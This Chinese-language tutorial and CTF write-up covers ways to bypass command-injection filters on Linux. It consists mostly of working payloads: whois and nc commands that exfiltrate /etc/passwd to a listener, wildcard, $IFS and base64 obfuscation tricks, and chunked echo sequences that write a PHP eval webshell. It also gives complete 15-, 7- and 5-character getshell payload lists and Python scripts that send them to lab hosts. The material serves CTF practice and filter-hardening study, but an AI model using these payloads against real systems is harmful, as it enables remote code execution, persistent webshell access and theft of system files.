命令执行绕过方法
[TOC]
Linux
1.1 linux下的符号和逻辑运算符
a=who
b=ami
$a$b
Linux下需要用$引用变量
那么我们又可以怎么组合呢,接着来看
Linux下用分号(;)表示命令结束后执行后面的命令,无论前面的命令是否成功
ping www. ; whoami
echo tj ; whoami
符号 | 在Linux中,可以连接命令,第一条命令的结果,作为第二条命令的输入 |
符号 | 在Linux中,如果 | 左边的命令(命令1)未执行成功,那么就执行 | 右边的命令(命令2) |
符号&&在Linux中,如果左边的命令(命令1)返回真(成功被执行)后,&&右边的命令(命令2)才能够被执行
符号&在linux中,多个命令同时执行,不管前面命令执行成功没有,后面的命令继续执行
根据以上几点结合一个:
t=l; j=s; i=" -al"; $t$j$i
1.2 利用未被过滤的命令
自己服务器中:nc -lvvp 端口
payload发送给对方:whois -h ip -p 端口 `命令` //``为反引号
//下图以自身服务器的1234端口作演示,实际情况根据个人更改
使用whois来执行命令和传输文件
在实际的攻击场景中,可以在自己的攻击服务器上用nc监听一个公网端口,然后在存在命令执行漏洞的网站中发送payload请求, 对它使用whois命令使其命令执行结果返回给nc监听的端口,从而在自己服务器中查看
传输机:
root@john:~# whois -h 127.0.0.1 -p 4444 `cat /etc/passwd | base64`
接受机:
root@john:/tmp# nc -l -v -p 4444 | sed "s/ //g" | base64 -d
1.3 linux进阶,符号之间的组合
Linux下,双引号和幂运算符号都不会影响命令的执行
whoami
wh$1oami
wh$@oami
who""""ami
whoa$*mi
c$1at /f$1lag
在linux中?扮演的角色是匹配任意一个字符,用?来绕过限制
which whoami //找到whoami路径
# whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz
/u?r/?in/wh?am?
which ifconfig //找到ifconfig
# /sbin/ifconfig
/sbin/if?onfig
同理可得,星号*在linux中用来代表一个或多个任何字符,包括空字符
whoami
/*/bin/wh*mi
/us*/*in/who*mi
1.4 linux深入,命令中的命令
666`whoami`666
//命令执行后的结果在2个666中间
再次组合起来
who`echo a`mi#返回结果拼接为字符串,再次执行
w`saldkj2190`ho`12wsa2`am`foj11`i
wh$(70shuai)oa$(fengfeng)mi
1.5 利用linux中的环境变量
linux是可以使用环境变量里的字符执行变量
首先echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
Linux下严格区分大小写,不可以写成$path
echo ${PATH:number_start:length}
/:0 u:1 s:2 r:3 /:4 l:5 o:6 c:7 a:8 l:9 /:10 s:11 b:12 i:13 n:14 ::15 /:16 u:17 s:18 r:19 /:20 l:21 o:22 c:23 a:24 l:25 /:26 b:27 i:28 n:29 ::30 /:31 u:32 s:33 r:34 /:35 s:36 b:37 i:38 n:39 ::40 /:41 u:42 s:43 r:44 /:45 b:46 i:47 n:48 ::49 /:50 s:51 b:52 i:53 n:54 ::55 /:56 b:57 i:58 n:59 ::60 /:61 u:62 s:63 r:64 /:65 g:66 a:67 m:68 e:69 s:70 ::71 /:72 u:73 s:74 r:75 /:76 l:77 o:78 c:79 a:80 l:81 /:82 g:83 a:84 m:85 e:86 s:87
#每个主机的环境变量不一样,这是我云主机的变量每位
如果我现在要查看/root/目录下的1.txt文件,就可以这样操作操作
cat ${PATH:0:1}${PATH:44:1}${PATH:22:1}${PATH:22:1}t${PATH:0:1}1.txt
1.6 使用大括号绕过空格过滤
在linux下我们还可以使用大花括号来绕过空格的限制,比如ls -alt命令中间的空格
{ls,-alt}
再比如cat /etc/passwd命令中间的空格
1.7 了解重定向符号在绕过中的作用
我们还可以使用<>来绕过空格。请仔细看执行后的效果。linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备,而>大于号是输出重定向,比如一条命令,默认是将结果输出到屏幕。但可以用>来将输出重定向,用后面的文件来取代屏幕,将输出保存进文件里
ls<>a
1.8linux中特殊的base64编码
我们还可以在自己的linux系统中将命令进行base64编码,然后再拿去目标请求中命令执行,使用base64的-d参数解码。
echo whoami|base64 //先输出whoami的base64编码
`echo dwhvYW1pCg==|base64 -d` //将其base64解码
例子
我们可以根据base64进行一次发散思维。如果某处存在命令执行但是限制了长度,我们可以利用这种方式来写一个密码为123的webshell一句话木马。
echo "<?php @eval($_POST[123]);?>" | base64
//输出一句话的base64编码
PD9waHAgQGV2YWwoWzEyM10pOz8+Cg==
echo -n PD>a;
echo -n 9w>b;
echo -n aH>c;
echo -n Ag>d;
echo -n QG>e;
echo -n V2>f;
echo -n YW>g;
echo -n wo>h;
echo -n JF>i;
echo -n 9Q>j;
echo -n T1>k;
echo -n NU>l;
echo -n Wz>m;
echo -n Ey>n;
echo -n M1>o;
echo -n 0p>p;
echo -n Oz>q;
echo -n 8+>r;
然后组合base64解码并生成php文件
cat a b>s;
cat s c>b;
cat b d>s;
cat s e>a;
cat a f>s;
cat s g>a;
cat a h>s;
cat s i>a;
cat a j>s;
cat s k>a;
cat a l>s;
cat s m>a;
cat a n>s;
cat s o>a;
cat a p>s;
cat s q>a;
cat a r>s;
base64 -d s>z;
cp z shell.php;
CTF题解方法总结
0x00:一些绕过姿势
在遇到的一些web题中,会经常将以下几种给过滤或者进行限制:
- 空格
- 命令分隔符
- 关键字
- 限制长度
空格绕过
常见的绕过符号有:
$IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、<、
#$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,
加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用
命令分隔
%0a --换行符,需要php环境
%0d --回车符,需要php环境
; --在 shell 中,是”连续指令”
& --不管第一条命令成功与否,都会执行第二条命令
&& --第一条命令成功,第二条才会执行
| --第一条命令的结果,作为第二条命令的输入
|| --第一条命令失败,第二条才会执行
Linux中查看文件内容的命令
#linux中查看文件内容的命令
cat、tac、more、less、head、tail、nl、sort、uniq
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的显示文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
sort 默认是用每行开头的第一个字符来进行排序的
uniq 可检查文本文件中重复出现的行列
取反
<?php
$a = "phpinfo";
echo urlencode(~$a);
?>
#%8F%97%8F%96%91%99%90
(~%8F%97%8F%96%91%99%90)();
题目解析
1.字符串限制长度为15getshell
<?php
highlight_file(__FILE__);
if(strlen($_GET['code']<15)){
echo strlen($_GET['code']);
echo '<br>';
echo shell_exec($_GET['code']);
}
else{
exit('too long,try another way');
}
-
方法1
wget 地址/a 使用wget下载文件 mv a a.php 将a改名为a.php
-
方法2
echo \<?php >1 #len=14 echo eval\(>>1 #len=9 echo \$_GET>>1 #len=14 echo \[\'a\'>>1 #len=13 echo \]\)\;>>1 #len=14 mv 1 2.php #写马
2.7个字符getshell
ls>a会将所有文件名输入到a里面,并且将ls按数字1~9,字母a~b排序, 但我们可以让它基于时间排序ls -t(从晚到早)
并且如果命令太长可用\分割执行,接着sh a是将a里面的内容当做命令执行
由于我们的语句<?php eval($_GET[1]);
有特殊字符,可使用base64编码来使语句容易写入,再用|base64 -d解码即可。
base64为:
PD9waHAgZXZhbCgkX0dFVFsxXSk7
# 执行的语句为
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
payload.txt的代码如下
#因为 ls -t为从晚到早排序,所以我们需要反着来写入shell,最后执行shell 生成1.php getshell
# \\将 \转义 写入文件名,单斜杠\代表此行输入还未结束,和下一行拼接
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
#脚本如下
import requests
url1 = "http://192.168.153.131/7.php?1="
with open("payload.txt","r") as f:
for i in f:
url = url1+i.strip()
requests.get(url)
res = requests.get("http://192.168.153.131/1.php")
if res.status_code:
print 'success!!!'
5字符串getshell
<?php
$sandbox = '/var/www/html/sandbox/';
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
1)通过>来创建文件
2)通过ls的-t(从晚到早)参数来基于时间来排序文件
3)sh a 会把文件a里面的内容当作命令来执行
4)使用\来进行命令拼接
5)通过base64来避免特殊字符
6)输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
7)增加字母来限定被用来当作命令和参数的文件名
8)联合知识点⑦,通过rev来倒置输出内容
>rev
echo 1234 > v
*v (等同于命令:rev v)
9)通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置
我们之后需要用到rev 倒置输出,所以需要列出这样形式的文件名
0> t- sl
####
>0\>
>t-
>sl
10)用dir来代替ls不换行输出
先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响知识点⑥的命令执行
看下dir的效果,会不换行输出到文件中去
11)使用${IFS}来代替空格
正式开始
首先我把下面这段代码写入到主机的0文件中去,然后后期再传入攻击payload时。通过sh执行0文件即可生成f文件,然后再让sh 去执行f文件的代码内容即可得到一句话木马
ls -th >f
所以payload如下
>dir
>f\>
>ht-
>sl
*>v (等同于命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0 (等同于命令:rev v > 0)(0里面的内容为:ls -th >f)
接下来我们需要把 这段代码上传到主机,其中的内容为(<?php eval($_GET[1]);)base64编码后的内容
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
这里我们看到其中出现了2个空格,这里我们需要把其中一个空格用${IFS}替换
否则新的空格文件会替换旧的空格文件导致,攻击payload失效,所以变成下面这样的
echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
那么我们只需要将上面的代码拆分倒序输入到主机即可
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
然后我们需要让sh先执行0文件(ls -th >f)就会得到f文件
最后再让sh去执行f文件即可得到1.php
最终payload如下
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f
python脚本
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.214.190/len_5.php?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是否攻击成功
test = requests.get("http://192.168.214.190/sandbox/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")